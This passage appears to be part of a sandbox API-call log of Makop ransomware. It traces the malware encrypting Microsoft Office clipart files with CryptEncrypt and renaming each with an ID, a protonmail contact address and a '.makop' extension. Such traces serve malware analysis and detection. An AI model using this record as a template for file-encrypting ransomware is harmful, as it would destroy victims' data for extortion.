1 [0149.883] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x51ea, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x51ea, lpOverlapped=0x0) returned 1 [0149.885] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x51f0, dwBufLen=0x51f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x51f0) returned 1 [0149.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.885] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x51f0, lpOverlapped=0x0) returned 1 [0149.886] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.886] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x52c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.886] SetEndOfFile (hFile=0xf0) returned 1 [0149.892] GetProcessHeap () returned 0x48a0000 [0149.892] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.893] GetProcessHeap () returned 0x48a0000 [0149.893] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.893] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.894] CloseHandle (hObject=0xf0) returned 1 [0149.894] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3308, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00373_.WMF", cAlternateFileName="")) returned 1 [0149.895] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF") returned 63 [0149.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.896] GetProcessHeap () returned 0x48a0000 [0149.896] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.896] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.896] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.900] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.900] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.900] GetProcessHeap () returned 0x48a0000 [0149.901] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.901] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.901] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.901] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.901] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.901] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.901] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.901] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.902] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.902] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.902] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.902] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3308, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3308, lpOverlapped=0x0) returned 1 [0149.903] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3310, dwBufLen=0x3310 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3310) returned 1 [0149.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.904] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3310, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3310, lpOverlapped=0x0) returned 1 [0149.904] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x33e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.904] SetEndOfFile (hFile=0xf0) returned 1 [0149.910] GetProcessHeap () returned 0x48a0000 [0149.910] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.910] GetProcessHeap () returned 0x48a0000 [0149.910] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.910] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.912] CloseHandle (hObject=0xf0) returned 1 [0149.912] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b58e00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b58e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x27f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00382_.WMF", cAlternateFileName="")) returned 1 [0149.912] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF") returned 63 [0149.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.914] GetProcessHeap () returned 0x48a0000 [0149.914] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.914] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.914] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.914] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0149.918] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.918] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.918] GetProcessHeap () returned 0x48a0000 [0149.918] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.918] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.919] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.919] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.919] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.919] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.919] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.919] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.919] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.920] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.920] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.920] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x27f4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x27f4, lpOverlapped=0x0) returned 1 [0149.921] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2800, dwBufLen=0x2800 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2800) returned 1 [0149.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.922] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2800, lpOverlapped=0x0) returned 1 [0149.922] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x28d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.922] SetEndOfFile (hFile=0xf0) returned 1 [0149.929] GetProcessHeap () returned 0x48a0000 [0149.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.929] GetProcessHeap () returned 0x48a0000 [0149.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.929] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.930] CloseHandle (hObject=0xf0) returned 1 [0149.931] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27894f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27894f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00390_.WMF", cAlternateFileName="")) returned 1 [0149.931] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF") returned 63 [0149.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.932] GetProcessHeap () returned 0x48a0000 [0149.932] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.932] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.937] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.937] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.937] GetProcessHeap () returned 0x48a0000 [0149.937] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.937] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.937] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.938] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.938] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.938] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.938] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.938] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.938] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb7c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb7c, lpOverlapped=0x0) returned 1 [0149.938] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb80, dwBufLen=0xb80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb80) returned 1 [0149.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.939] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb80, lpOverlapped=0x0) returned 1 [0149.939] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.939] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.939] SetEndOfFile (hFile=0xf0) returned 1 [0149.946] GetProcessHeap () returned 0x48a0000 [0149.946] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.946] GetProcessHeap () returned 0x48a0000 [0149.946] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.946] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.946] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.948] CloseHandle (hObject=0xf0) returned 1 [0149.948] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c49b00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22c49b00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00391_.WMF", cAlternateFileName="")) returned 1 [0149.948] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF") returned 63 [0149.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.951] GetProcessHeap () returned 0x48a0000 [0149.951] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.951] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.951] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.951] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.956] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.956] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.956] GetProcessHeap () returned 0x48a0000 [0149.956] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.956] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.956] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.956] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.956] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.956] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.957] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 